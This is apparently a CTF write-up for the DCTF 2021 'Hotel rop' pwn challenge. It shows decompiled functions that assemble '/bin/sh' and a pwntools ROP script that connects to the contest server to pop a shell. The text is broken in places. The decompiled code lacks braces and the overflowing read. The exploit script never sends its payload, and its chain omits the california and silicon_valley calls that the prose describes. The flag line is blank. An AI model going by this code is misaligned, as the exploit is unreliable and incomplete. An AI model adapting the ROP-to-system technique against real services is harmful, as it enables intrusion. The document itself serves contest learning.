DCTF 2021 - Hotel rop

ROP chain with multiple function and then ret2win


They say programmers' dream is California. And because they need somewhere to stay, we've built a hotel!

nc dctf1-chall-hotel-rop.westeurope.azurecontainer.io 7480


We got a binary file with simple input and some output related to hotel checkIn.


Based on the name of the challenge, we can be certain, that some sort of rop is needed.

Loading the binary into ghidra we can see our function vuln.

void vuln(void)
  char local_28 [28];
  int local_c;

  puts("You come here often?");
  if (local_c == 0) {
    puts("Oh! You are already a regular visitor!");
  else {
    puts("I think you should come here more often.");

Based on these inputs, we know where we can overflow. Looking at the functions with radare2 and afl, we find the function california, silicon_valley and loss.

The name loss seems to be a reference to the normal ret2win function. Because in this function we got our system call.

void loss(int param_1,int param_2)
  if (param_2 + param_1 == -0x21523f22) {
    puts("Dis is da wae to be one of our finest guests!");
    if (param_1 == 0x1337c0de) {
      puts("Now you can replace our manager!");
      system((char *)&win_land);

For this to work we need win_land to have the correct content.

For this we have the function california

void california(void)
  puts("Welcome to Hotel California");
  puts("You can sign out anytime you want, but you can never leave");
  *(undefined *)((long)&win_land + (long)len) = 0x2f;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x62;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x69;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x6e;
  len = len + 1;

and the function silicon_valley

void silicon_valley(void)
  puts("You want to work for Google?");
  *(undefined *)((long)&win_land + (long)len) = 0x2f;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x73;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x68;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0;
  len = len + 1;

So my final rop chain would need to be calfornia -> silicon_valley -> loss. Looking at the function loss I first thought I need to set the correct parameters. But because I was to lazy for this I just calculated the offset of the puts relative to the base and add it. This way I don't need to worry about any parameters and get to system.

So my finale exploit code was:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

vulnerable = './hotel_rop'
elf = ELF(vulnerable)

#p = elf.process()
p = remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)

p.readuntil('Welcome to Hotel ROP, on main street ')
main_address = int(p.readline().strip(), 16)
print("main at",hex(main_address))

main = elf.symbols['main']
california = elf.symbols['california']
silicon_valley = elf.symbols['silicon_valley']
loss = elf.symbols['loss']

rop = ROP(elf)
rop.call(main_address+(loss-main)+0x32) # Skip all the checks and go to puts and then system

p.readuntil('You come here often?')
p.readuntil('I think you should come here more often.')
p.read( 2048, timeout=1 )
p.read( 2048, timeout=1 ) # cleanup output

In the shell I only needed to print the content of flag.txt.

The flag was: